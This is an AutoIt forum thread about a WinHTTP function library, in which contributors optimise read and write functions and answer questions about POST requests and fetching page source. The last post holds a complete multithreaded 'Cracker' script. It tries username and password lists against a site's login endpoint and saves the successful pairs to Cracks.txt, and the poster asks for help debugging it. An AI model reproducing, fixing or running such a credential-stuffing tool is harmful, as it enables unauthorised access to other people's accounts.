Jump to content

WinHTTP functions


trancexx
 Share

Recommended Posts

Good idea :mellow: But it would be faster, if it doesn't use BinaryMid/StringLeft when it is not needed:

...
    Select
        Case @error Or Not $a_iCall[0]
            Return SetError(1)
        Case Not $a_iCall[4]
            Return SetError(0)
        Case $a_iCall[4] < $iNumberOfBytesToRead
            Switch $iMode
                Case 0
                    Return SetError(0, $a_iCall[4], StringLeft(DllStructGetData($lpBuffer, 1), $a_iCall[4]))
                Case 1
                    Return SetError(0, $a_iCall[4], BinaryToString(BinaryMid(DllStructGetData($lpBuffer, 1), 1, $a_iCall[4]), 4))
                Case 2
                    Return SetError(0, $a_iCall[4], BinaryMid(DllStructGetData($lpBuffer, 1), 1, $a_iCall[4]))
            EndSwitch
    EndSelect
   
            Switch $iMode
                Case 0,2
                    Return SetError(0, $a_iCall[4], DllStructGetData($lpBuffer, 1), $a_iCall[4])
                Case 1
                    Return SetError(0, $a_iCall[4], BinaryToString(DllStructGetData($lpBuffer, 1), 4))
            EndSwitch
Considering speed, would this be the fastest way?

Func _WinHttpReadData($hRequest, $iMode = 0, $iNumberOfBytesToRead = 8192) 

    Local $lpBuffer
    
    Switch $iMode
        Case 1, 2
            $lpBuffer = DllStructCreate("byte[" & $iNumberOfBytesToRead & "]")
        Case Else
            $iMode = 0
            $lpBuffer = DllStructCreate("char[" & $iNumberOfBytesToRead & "]")
    EndSwitch
    
    Local $a_iCall = DllCall("Winhttp.dll", "int", "WinHttpReadData", _
            "hwnd", $hRequest, _
            "ptr", DllStructGetPtr($lpBuffer), _
            "ulong", $iNumberOfBytesToRead, _
            "dword*", 0)

    If @error Or Not $a_iCall[0] Then
        SetError(1, 0, "")
    EndIf

    Switch ($a_iCall[4] < $iNumberOfBytesToRead) & $iMode
        Case 0,2
            Return SetError(0, $a_iCall[4], DllStructGetData($lpBuffer, 1))
        Case 1
            Return SetError(0, $a_iCall[4], BinaryToString(DllStructGetData($lpBuffer, 1), 4))
        Case 10
            Return SetError(0, $a_iCall[4], StringLeft(DllStructGetData($lpBuffer, 1), $a_iCall[4]))
        Case 11
            Return SetError(0, $a_iCall[4], BinaryToString(BinaryMid(DllStructGetData($lpBuffer, 1), 1, $a_iCall[4]), 4))
        Case 12
            Return SetError(0, $a_iCall[4], BinaryMid(DllStructGetData($lpBuffer, 1), 1, $a_iCall[4]))
    EndSwitch

EndFunc

♡♡♡

.

eMyvnE

Link to comment
Share on other sites

I think compare strings and converting is slower :mellow:.. just test it ( TimerInit, TimerDiff :(

*GERMAN* [note: you are not allowed to remove author / modified info from my UDFs]My UDFs:[_SetImageBinaryToCtrl] [_TaskDialog] [AutoItObject] [Animated GIF (GDI+)] [ClipPut for Image] [FreeImage] [GDI32 UDFs] [GDIPlus Progressbar] [Hotkey-Selector] [Multiline Inputbox] [MySQL without ODBC] [RichEdit UDFs] [SpeechAPI Example] [WinHTTP]UDFs included in AutoIt: FTP_Ex (as FTPEx), _WinAPI_SetLayeredWindowAttributes

Link to comment
Share on other sites

I think compare strings and converting is slower :mellow:.. just test it ( TimerInit, TimerDiff :(

If I'm not making any mistake and if producing same conditions test would look like this:

Global $end1, $end2, $res_prog, $res_tran

For $i = 1 To 30000

$error_ = Random(0, 1, 1)
$a_iCall_0_ = Random(0, 1, 1)
$a_iCall_4_ = Random(0, 1, 1)
$iNumberOfBytesToRead_ = Random(0, 8192, 1)
$iMode_ = Random(0, 2, 1)

$start1 = TimerInit()
$res_tran += tran($error_, $a_iCall_0_, $a_iCall_4_, $iNumberOfBytesToRead_, $iMode_)
$end1 += TimerDiff($start1)


$start2 = TimerInit()
$res_prog += Prog($error_, $a_iCall_0_, $a_iCall_4_, $iNumberOfBytesToRead_, $iMode_)
$end2 += TimerDiff($start2)

Next

$speed1 = 1000 * $end1 / ($i - 1)
$speed2 = 1000 * $end2 / ($i - 1)


ConsoleWrite("tran = " & $speed1 & " per sec. Result to verify $res_tran = " & $res_tran & @CRLF)
ConsoleWrite("Prog = " & $speed2 & " per sec. Result to verify $res_prog = " & $res_prog & @CRLF)



Func tran($error, $a_iCall_0, $a_iCall_4, $iNumberOfBytesToRead, $iMode)

    Switch $iMode
        Case 1, 2
        Case Else
            $iMode = 0
    EndSwitch

    If $error Or Not $a_iCall_0 Then
        Return SetError(1, 0, 0)
    EndIf

    If Not $a_iCall_4 Then
        Return SetError(0, 0, 0)
    EndIf
    
    Switch ($a_iCall_4 < $iNumberOfBytesToRead) & $iMode
        Case 0, 2
            Return SetError(0, $a_iCall_4, 1)
        Case 1
            Return SetError(0, $a_iCall_4, 3)
        Case 10
            Return SetError(0, $a_iCall_4, 5)
        Case 11
            Return SetError(0, $a_iCall_4, 7)
        Case 12
            Return SetError(0, $a_iCall_4, 9)
    EndSwitch
    
EndFunc   



Func Prog($error, $a_iCall_0, $a_iCall_4, $iNumberOfBytesToRead, $iMode)
    
    Switch $iMode
        Case 1, 2
        Case Else
            $iMode = 0
    EndSwitch
    
    Select
        Case $error Or Not $a_iCall_0
            Return SetError(1, 0, 0)
        Case Not $a_iCall_4
            Return SetError(0, 0, 0)
        Case $a_iCall_4 < $iNumberOfBytesToRead
            Switch $iMode
                Case 0
                    Return SetError(0, $a_iCall_4, 5)
                Case 1
                    Return SetError(0, $a_iCall_4, 7)
                Case 2
                    Return SetError(0, $a_iCall_4, 9)
            EndSwitch
    EndSelect

    Switch $iMode
        Case 0, 2
            Return SetError(0, $a_iCall_4, 1)
        Case 1
            Return SetError(0, $a_iCall_4, 3)
    EndSwitch
    
EndFunc

I'm getting slightly better results using "&" metod.

Doing that test I found that returning empty string is for some reason done faster than returning 0. (Maybe what comes after it is faster, didn't test that)

♡♡♡

.

eMyvnE

Link to comment
Share on other sites

Example of two more functions. One to get IE proxy configuration and other for current WinHTTP proxy configuration:

#include "WinHTTP.au3"
#include <Array.au3>


; Internet Explorer proxy configuration for the current user:
$IEproxy_array = _WinHttpGetIEProxyConfigForCurrentUser()
_ArrayDisplay($IEproxy_array, "Internet Explorer proxy configuration")

; Current WinHTTP proxy configuration:
$proxy_array = _WinHttpGetDefaultProxyConfiguration()
_ArrayDisplay($proxy_array, "Current WinHTTP proxy configuration")

♡♡♡

.

eMyvnE

Link to comment
Share on other sites

  • 2 weeks later...

It is possible. Example as attachment :)

@trancexx: You should set @error -1 in _WinHTTPReadData when return is empty (like FileRead)

If Not $a_iCall[4] Then Return SetError(-1,0,"")

Also, sometimes it is required to send binary Data (e.g. if you send images like in attached example)

POST_WinHTTP.au3

Edited by ProgAndy

*GERMAN* [note: you are not allowed to remove author / modified info from my UDFs]My UDFs:[_SetImageBinaryToCtrl] [_TaskDialog] [AutoItObject] [Animated GIF (GDI+)] [ClipPut for Image] [FreeImage] [GDI32 UDFs] [GDIPlus Progressbar] [Hotkey-Selector] [Multiline Inputbox] [MySQL without ODBC] [RichEdit UDFs] [SpeechAPI Example] [WinHTTP]UDFs included in AutoIt: FTP_Ex (as FTPEx), _WinAPI_SetLayeredWindowAttributes

Link to comment
Share on other sites

It is possible. Example as attachment :)

@trancexx: You should set @error -1 in _WinHTTPReadData when return is empty (like FileRead)

If Not $a_iCall[4] Then Return SetError(-1,0,"")

Also, sometimes it is required to send binary Data (e.g. if you send images like in attached example)

Yes, you have already suggested binary version of _WinHttpWriteData(), but I forgot about it. Sorry. Will add it with first new update of WinHTTP.au3 as binary option to current _WinHttpWriteData().

About @error, I saw in attached file what you mean and will make that modification too, even I don't see why don't you use @extended data to determine the end (am I missing something obvious?).

Callback function should be cool too for that purposes.

♡♡♡

.

eMyvnE

Link to comment
Share on other sites

Well, the data type is not too important, because the Data will be sent binary i think. But if you want to send text, ANSI str should be right in most cases :)

This page good for testing, i think :)http://www.snee.com/xml/crud/posttest.html

//Edit: made an working example:) you also have to add the size to sendRewuest o:)

#include "WinHTTP.au3"


$LocalIP = "www.snee.com"

$hw_open = _WinHttpOpen()

$hw_connect = _WinHttpConnect($hw_open, $LocalIP)

$h_openRequest = _WinHttpOpenRequest($hw_connect, "POST", "xml/crud/posttest.cgi?sgs")

;~ _WinHttpSetCredentials($h_openRequest, $WINHTTP_AUTH_TARGET_SERVER, $WINHTTP_AUTH_SCHEME_BASIC, "admin", "admin")

$data = "fname=Rghgt&lname=345"

_WinHttpSendRequest($h_openRequest,$WINHTTP_NO_ADDITIONAL_HEADERS, 0, $WINHTTP_NO_REQUEST_DATA, 0, StringLen($data), 0)

_WinHttpWriteData($h_openRequest, $data)

_WinHttpReceiveResponse($h_openRequest)

MsgBox(0, 'Recived', _WinHttpReadData($h_openRequest))

_WinHttpCloseHandle($h_openRequest)

_WinHttpCloseHandle($hw_connect)

_WinHttpCloseHandle($hw_open)




Func _WinHttpWriteData($hRequest, $string)
   
    Local $dwNumberOfBytesToWrite = StringLen($string) 
   
    Local $a_iCall = DllCall("Winhttp.dll", "int", "WinHttpWriteData", _
            "hwnd", $hRequest, _
            "str", $string, _
            "dword", $dwNumberOfBytesToWrite, _
            "dword*", 0)
   
    If @error Or Not $a_iCall[0] Then
        Return SetError(1, 0, -1)
    EndIf

    Return SetError(0, 0, $a_iCall[0])
   
   
EndFunc   ;==>_WinHttpWriteData
I had trouble implementing this with my own site.

I hosted some basic php code on my localhost:

<?php
if (isset($_POST['test'])){
  echo 'Post Set='.$_POST['test'];
}else if(isset($_GET['test'])){
  echo 'Get Set='.$_GET['test'];
}else{
  echo 'Nothing Set';
}
?>

And then I tried this out:

#include "WinHTTP.au3"

#include <IE.au3> 


$LocalIP = "localhost"

$hw_open = _WinHttpOpen()

$hw_connect = _WinHttpConnect($hw_open, $LocalIP)

$h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "test.php")

$data = "test=hello"

_WinHttpSendRequest($h_openRequest,$WINHTTP_NO_ADDITIONAL_HEADERS, $WINHTTP_NO_REQUEST_DATA, StringLen($data), 0)

_WinHttpWriteData($h_openRequest, $data)

_WinHttpReceiveResponse($h_openRequest)

$oIE=_IECreate ()
_IEDocWriteHTML ( $oIE, _WinHttpReadData($h_openRequest))


_WinHttpCloseHandle($h_openRequest)

_WinHttpCloseHandle($hw_connect)

_WinHttpCloseHandle($hw_open)

And got the text: "Nothing Set" echoed out. Shouldn't it have said "Post set=hello"?

Any ideas? Thanks

Link to comment
Share on other sites

I had trouble implementing this with my own site.

I hosted some basic php code on my localhost:

<?php
if (isset($_POST['test'])){
  echo 'Post Set='.$_POST['test'];
}else if(isset($_GET['test'])){
  echo 'Get Set='.$_GET['test'];
}else{
  echo 'Nothing Set';
}
?>

And then I tried this out:

#include "WinHTTP.au3"

#include <IE.au3> 


$LocalIP = "localhost"

$hw_open = _WinHttpOpen()

$hw_connect = _WinHttpConnect($hw_open, $LocalIP)

$h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "test.php")

$data = "test=hello"

_WinHttpSendRequest($h_openRequest,$WINHTTP_NO_ADDITIONAL_HEADERS, $WINHTTP_NO_REQUEST_DATA, StringLen($data), 0)

_WinHttpWriteData($h_openRequest, $data)

_WinHttpReceiveResponse($h_openRequest)

$oIE=_IECreate ()
_IEDocWriteHTML ( $oIE, _WinHttpReadData($h_openRequest))


_WinHttpCloseHandle($h_openRequest)

_WinHttpCloseHandle($hw_connect)

_WinHttpCloseHandle($hw_open)

And got the text: "Nothing Set" echoed out. Shouldn't it have said "Post set=hello"?

Any ideas? Thanks

You are using "GET" method.

It will produce this:

GET /test.php HTTP/1.1
Accept: 
User-Agent: AutoIt v3
Host: localhost
Content-Length: 10
Connection: Keep-Alive

test=hello

Is that what you want, what your php code require?

Edited by trancexx

♡♡♡

.

eMyvnE

Link to comment
Share on other sites

About @error, I saw in attached file what you mean and will make that modification too, even I don't see why don't you use @extended data to determine the end (am I missing something obvious?).

Oops, forgot to use it... But i think @error still useful, cause i like a common syntax in all functions;)

@StAbb: If you are using post, you have to set POST method in _winhttpopenrequest, not GET.

Also, you should set headers to

"Content-Type: application/x-www-form-urlencoded" & @CRLF

not $WINHTTP_NO_ADDITIONAL_HEADERS

If you want to use GET, you have to add the variables in the filename with ? : "test.php?test=data"

Edited by ProgAndy

*GERMAN* [note: you are not allowed to remove author / modified info from my UDFs]My UDFs:[_SetImageBinaryToCtrl] [_TaskDialog] [AutoItObject] [Animated GIF (GDI+)] [ClipPut for Image] [FreeImage] [GDI32 UDFs] [GDIPlus Progressbar] [Hotkey-Selector] [Multiline Inputbox] [MySQL without ODBC] [RichEdit UDFs] [SpeechAPI Example] [WinHTTP]UDFs included in AutoIt: FTP_Ex (as FTPEx), _WinAPI_SetLayeredWindowAttributes

Link to comment
Share on other sites

Oops, forgot to use it... But i think @error still useful, cause i like a common syntax in all functions;)

It occurred to me that if we translate html to rtf then we could by using this script and your richedit script create a completely new browser written in AutoIt. That would be major cool.

Who knows, maybe someone would even try.

Rewritten functions with new features (will not update yet);

; #FUNCTION# ;===============================================================================
;
; Name...........: _WinHttpReadData
; Description ...: Reads data from a handle opened by the _WinHttpOpenRequest() function.
; Syntax.........: _WinHttpReadData($hRequest [, iMode [, $iNumberOfBytesToRead]])
; Parameters ....: $hRequest - Valid handle returned from a previous call to _WinHttpOpenRequest().
;                  $iMode - Integer representing reading mode. Default is 0 (charset is decoded as it is ANSI).
;                  $iNumberOfBytesToRead - Integer value that contains the number of bytes to read. Default is 8192 bytes.
; Return values .: Success - Returns data read.
;                          - @extended receives the number of bytes read.
;                          - Sets @error to 0
;                  Special: Sets @error to -1 if no more data to read (end reached). 
;                  Failure - Returns empty string and sets @error:
;                  |1 - DllCall failed.
; Author ........: trancexx, ProgAndy
; Modified.......:
; Remarks .......: iMode can have these values:
;                  |0 - ANSI
;                  |1 - UTF8
;                  |2 - Binary
; Related .......:
; Link ..........; http://msdn.microsoft.com/en-us/library/aa384104(VS.85).aspx
; Example .......; Yes
;
;==========================================================================================
Func _WinHttpReadData($hRequest, $iMode = 0, $iNumberOfBytesToRead = 8192)

    Local $lpBuffer
    
    Switch $iMode
        Case 1, 2
            $lpBuffer = DllStructCreate("byte[" & $iNumberOfBytesToRead & "]")
        Case Else
            $iMode = 0
            $lpBuffer = DllStructCreate("char[" & $iNumberOfBytesToRead & "]")
    EndSwitch
    
    Local $a_iCall = DllCall("winhttp.dll", "int", "WinHttpReadData", _
            "hwnd", $hRequest, _
            "ptr", DllStructGetPtr($lpBuffer), _
            "ulong", $iNumberOfBytesToRead, _
            "dword*", 0)

    If @error Or Not $a_iCall[0] Then
        Return SetError(1, 0, "")
    EndIf

    If Not $a_iCall[4] Then
        Return SetError(-1, 0, "")
    EndIf
    
    Switch $a_iCall[4] < $iNumberOfBytesToRead
        Case True
            Switch $iMode
                Case 0
                    Return SetError(0, $a_iCall[4], StringLeft(DllStructGetData($lpBuffer, 1), $a_iCall[4]))
                Case 1
                    Return SetError(0, $a_iCall[4], BinaryToString(BinaryMid(DllStructGetData($lpBuffer, 1), 1, $a_iCall[4]), 4))
                Case 2
                    Return SetError(0, $a_iCall[4], BinaryMid(DllStructGetData($lpBuffer, 1), 1, $a_iCall[4]))
            EndSwitch
        Case Else
            Switch $iMode
                Case 0, 2
                    Return SetError(0, $a_iCall[4], DllStructGetData($lpBuffer, 1))
                Case 1
                    Return SetError(0, $a_iCall[4], BinaryToString(DllStructGetData($lpBuffer, 1), 4))
            EndSwitch
    EndSwitch

EndFunc   ;==>_WinHttpReadData


; #FUNCTION# ;===============================================================================
;
; Name...........: _WinHttpWriteData
; Description ...: Writes request data to an HTTP server.
; Syntax.........: _WinHttpWriteData($hRequest, $data [, $iMode])
; Parameters ....: $hRequest - Valid handle returned by _WinHttpSendRequest().
;                  $data - Data to write.
;                  $iMode - Integer representing writing mode. Default is 0 - write ANSI string.
; Return values .: Success - Returns 1
;                          - @extended receives the number of bytes written.
;                          - Sets @error to 0
;                  Failure - Returns 0 and sets @error:
;                  |1 - DllCall failed.
; Author ........: trancexx, ProgAndy
; Modified.......:
; Remarks .......: $data variable is either string or binary data to write.
;                  $iMode can have these values:
;                  |0 - to write ANSI string
;                  |1 - to write binary data
; Related .......:
; Link ..........; http://msdn.microsoft.com/en-us/library/aa384120(VS.85).aspx
; Example .......; Yes
;
;==========================================================================================
Func _WinHttpWriteData($hRequest, $data, $iMode = 0)
    
    Local $iNumberOfBytesToWrite = BinaryLen($data)
    
    Local $structure_Data   
    Switch $iMode
        Case 1
            $structure_Data = DllStructCreate("byte[" & $iNumberOfBytesToWrite & "]")
        Case Else 
            $structure_Data = DllStructCreate("char[" & $iNumberOfBytesToWrite + 1 & "]")           
    EndSwitch
    
    DllStructSetData($structure_Data, 1, $data)
    
    Local $a_iCall = DllCall("winhttp.dll", "int", "WinHttpWriteData", _
            "hwnd", $hRequest, _
            "ptr", DllStructGetPtr($structure_Data), _
            "dword", $iNumberOfBytesToWrite, _
            "dword*", 0)
    
    If @error Or Not $a_iCall[0] Then
        Return SetError(1, 0, 0)
    EndIf

    Return SetError(0, $a_iCall[4], 1)
    
    
EndFunc   ;==>_WinHttpWriteData
Edited by trancexx

♡♡♡

.

eMyvnE

Link to comment
Share on other sites

I use this code to obtain webpage source. & have 2 Qyestions:

1) This is still pretty slow, can it be faster?

2)Is there a way to put each string on a separate line like they are in the Source code when I open source in the browser?

#include "WinHTTP.au3"

$hw_open = _WinHttpOpen("WinHTTP Example")
$hw_connect = _WinHttpConnect($hw_open, "google.com")
$h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "google.com")

_WinHttpSendRequest($h_openRequest)
_WinHttpReceiveResponse($h_openRequest)

If _WinHttpQueryDataAvailable($h_openRequest) Then
    $header = _WinHttpReadData($h_openRequest)
    
    $_Arrayline = StringSplit($header, @LF) ; this is the Array $_Arrayline
    
        for $i = 1 to $_Arrayline[0] 
            consoleWrite($_Arrayline[$i] & @CRLF)
        Next    

EndIf

_WinHttpCloseHandle($h_openRequest)
_WinHttpCloseHandle($hw_connect)
_WinHttpCloseHandle($hw_open)
My Projects:[list][*]Guide - ytube step by step tut for reading memory with autoitscript + samples[*]WinHide - tool to show hide windows, Skinned With GDI+[*]Virtualdub batch job list maker - Batch Process all files with same settings[*]Exp calc - Exp calculator for online games[*]Automated Microsoft SQL Server 2000 installer[*]Image sorter helper for IrfanView - 1 click opens img & move ur mouse to close opened img[/list]
Link to comment
Share on other sites

I use this code to obtain webpage source. & have 2 Qyestions:

1) This is still pretty slow, can it be faster?

2)Is there a way to put each string on a separate line like they are in the Source code when I open source in the browser?

#include "WinHTTP.au3"

$hw_open = _WinHttpOpen("WinHTTP Example")
$hw_connect = _WinHttpConnect($hw_open, "google.com")
$h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "google.com")

_WinHttpSendRequest($h_openRequest)
_WinHttpReceiveResponse($h_openRequest)

If _WinHttpQueryDataAvailable($h_openRequest) Then
    $header = _WinHttpReadData($h_openRequest)
    
    $_Arrayline = StringSplit($header, @LF) ; this is the Array $_Arrayline
    
        for $i = 1 to $_Arrayline[0] 
            consoleWrite($_Arrayline[$i] & @CRLF)
        Next    

EndIf

_WinHttpCloseHandle($h_openRequest)
_WinHttpCloseHandle($hw_connect)
_WinHttpCloseHandle($hw_open)
Speed depends on your connection. If you are normally using some proxy, adjust it for this too.

Yor code is not correct. But regardless of that you will receive html in shape as it is where you are asking it from.

Apparently google.com has it in long lines.

♡♡♡

.

eMyvnE

Link to comment
Share on other sites

Yor code is not correct. But regardless of that you will receive html in shape as it is where you are asking it from.

Apparently google.com has it in long lines.

Aha, this was useful info. thanx, so the correct wode to obtain webpage source would be this?

#include "WinHTTP.au3"

$hw_open = _WinHttpOpen("WinHTTP Example")
$hw_connect = _WinHttpConnect($hw_open, "nipissingu.ca")
$h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "http://www.nipissingu.ca/calculus/tutorials/numbers.html")

_WinHttpSendRequest($h_openRequest)
_WinHttpReceiveResponse($h_openRequest)

If _WinHttpQueryDataAvailable($h_openRequest) Then
    $header = _WinHttpReadData($h_openRequest)

    consoleWrite($header & @CRLF)

EndIf

_WinHttpCloseHandle($h_openRequest)
_WinHttpCloseHandle($hw_connect)
_WinHttpCloseHandle($hw_open)
My Projects:[list][*]Guide - ytube step by step tut for reading memory with autoitscript + samples[*]WinHide - tool to show hide windows, Skinned With GDI+[*]Virtualdub batch job list maker - Batch Process all files with same settings[*]Exp calc - Exp calculator for online games[*]Automated Microsoft SQL Server 2000 installer[*]Image sorter helper for IrfanView - 1 click opens img & move ur mouse to close opened img[/list]
Link to comment
Share on other sites

Aha, this was useful info. thanx, so the correct wode to obtain webpage source would be this?

#include "WinHTTP.au3"

$hw_open = _WinHttpOpen("WinHTTP Example")
$hw_connect = _WinHttpConnect($hw_open, "nipissingu.ca")
$h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "http://www.nipissingu.ca/calculus/tutorials/numbers.html")

_WinHttpSendRequest($h_openRequest)
_WinHttpReceiveResponse($h_openRequest)

If _WinHttpQueryDataAvailable($h_openRequest) Then
    $header = _WinHttpReadData($h_openRequest)

    consoleWrite($header & @CRLF)

EndIf

_WinHttpCloseHandle($h_openRequest)
_WinHttpCloseHandle($hw_connect)
_WinHttpCloseHandle($hw_open)
#include "WinHTTP.au3"

$hw_open = _WinHttpOpen()
$hw_connect = _WinHttpConnect($hw_open, "nipissingu.ca")
$h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "calculus/tutorials/numbers.html")

_WinHttpSendRequest($h_openRequest)
_WinHttpReceiveResponse($h_openRequest)

If _WinHttpQueryDataAvailable($h_openRequest) Then
    $data = ""
    While 1
        $chunk = _WinHttpReadData($h_openRequest, 1)
        If Not @extended Then ExitLoop
    ;ConsoleWrite($chunk & @CRLF)
        $data &= $chunk 
    WEnd
    ConsoleWrite($data & @CRLF)

EndIf

_WinHttpCloseHandle($h_openRequest)
_WinHttpCloseHandle($hw_connect)
_WinHttpCloseHandle($hw_open)

♡♡♡

.

eMyvnE

Link to comment
Share on other sites

While 1
        $chunk = _WinHttpReadData($h_openRequest, 1)
        If Not @extended Then ExitLoop
        $data &= $chunk 
    WEnd
    ConsoleWrite($data & @CRLF)
So in your sample it just sits & waits until some data is sent back(to insure that the script is paused until the data is sent) & if read bytes = not 0 then exit loop & & consolewrite? Edited by goldenix
My Projects:[list][*]Guide - ytube step by step tut for reading memory with autoitscript + samples[*]WinHide - tool to show hide windows, Skinned With GDI+[*]Virtualdub batch job list maker - Batch Process all files with same settings[*]Exp calc - Exp calculator for online games[*]Automated Microsoft SQL Server 2000 installer[*]Image sorter helper for IrfanView - 1 click opens img & move ur mouse to close opened img[/list]
Link to comment
Share on other sites

So in your sample it just sits & waits until some data is sent back(to insure that the script is paused until the data is sent) & if read bytes = not 0 then exit loop & & consolewrite?

You cannot force the server to give you the data. The data will be sent to you depending on server load, bandwidth and stuff.

I guess the most time will be spend with WinHttpReceiveResponse().

♡♡♡

.

eMyvnE

Link to comment
Share on other sites

  • 4 weeks later...

I was doing a search on the forum and found something with WinINET and then i found this post but its unclear to me what i exactly need to do. I looked at the PROGANDY example which seems to be what i need but did not understand as it had a lot lines that were commented out :)

I want to make a Desktop Application with AutoIT so i can Batch Upload Videos in .flv, .wmv format to BLIP.TV. They have an API where they describe on how do this so i will post the directions and see if the WININET is what i need to accomplish this or maybe some advice on what road to take.

CODE

Purpose

To allow programmatic uploads to blip.tv in the simplest way possible.

[edit]

API URL

* http://blip.tv/file/post/

* http://uploads.blip.tv/

While both URLs will currently work, future applications should use uploads.blip.tv.

[edit]

Request

Send a multipart POST (Content-Type: multi-part/form-data) with these fields:

POST http://www.blip.tv/ (Content-Type: multi-part/form-data)

BLIP Examples

Upload a new episode

To upload a new episode, send a multipart post with these fields:

Field Name Value

post "1"

skin "api"

userlogin "yourusername"

password "YoUrPwD"

file file to upload

title "New File"

any help appreciated becasue i really have no idea where to start at..

so any help pointing me in the right direction or small example..

Link to comment
Share on other sites

  • 1 month later...

hi when i run this program the first 2 threads are busy getting cracked but when its at thread number3

then its says:

An Unknown Error Ocurred :s

guys help me out please!

Source:

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****

#AutoIt3Wrapper_icon=orbz-air.ico

#AutoIt3Wrapper_UseAnsi=y

#AutoIt3Wrapper_Compression=4

#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

#include <Array.au3>

#include <File.au3>

#include <INet.au3>

$oShell = ObjCreate("shell.application")

$num = $CmdLine[1]

Global $oHTTP = ObjCreate("winhttp.winhttprequest.5.1")

Local $usernames, $passwords, $proxies

_FileReadToArray(@ScriptDir & "/tempdir/usernames" & $num & ".txt", $usernames)

_FileReadToArray(@ScriptDir & "/passwords.txt", $passwords)

_ArrayDelete($usernames, 0)

_ArrayDelete($passwords, 0)

Print("Thread " & $num & " has started.")

Local $cUser = 0, $cPass = 0, $error = 0

While 1

If ProcessExists("Cracker.exe") = 0 Then

Exit

EndIf

If UBound($passwords) = $cPass Then

$cPass = 0

$cUser += 1

If UBound($usernames) = $cUser Then

ExitLoop

EndIf

EndIf

Switch CrackAccount($usernames[$cUser], $passwords[$cPass])

Case -1

Print("#" & $num & " An Unknown Error Occurred")

$Error += 1

If $error = 5 Then

Refresh()

$error = 0

EndIf

Case 0

Print("#" & $num & " Invalid - "&$usernames[$cUser]&":"&$passwords[$cPass])

$cPass += 1

Case 1

Print("#" & $num & " Crack - "&$usernames[$cUser]&":"&$passwords[$cPass])

FileWriteLine(@ScriptDir & "/Cracks.txt",$usernames[$cUser]&":"&$passwords[$cPass])

Refresh()

$cPass = 0

$cUser += 1

EndSwitch

WEnd

Print("Thread " & $num & " has finished cracking.")

Func CrackAccount($vUser, $vPass)

$source = _HTTPRequest($oHTTP, "POST", "https://XXX.XXX.XXX/login.ws", "username=" & $vUser & "&password=" & $vPass )

Select

Case StringInStr($source, "Invalid")

Return 0

Case StringInStr($source, "successful")

Return 1

Case Else

Return -1

EndSelect

EndFunc

Func Print($oData)

ConsoleWrite($oData & @CRLF)

EndFunc ;==>Print

Func _HTTPRequest($Wnd, $oMethod, $oURL, $oData = "")

$Wnd.Open($oMethod, $oURL, False)

If $oMethod = "POST" Then $Wnd.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")

$Wnd.Send($oData)

Return $Wnd.ResponseText

EndFunc

Func Refresh()

$oShell = ObjCreate("shell.application")

$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")

EndFunc

end Source

i am very new to this and i dont know what the problem is and whats that winhttp??

Please help me soon!

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...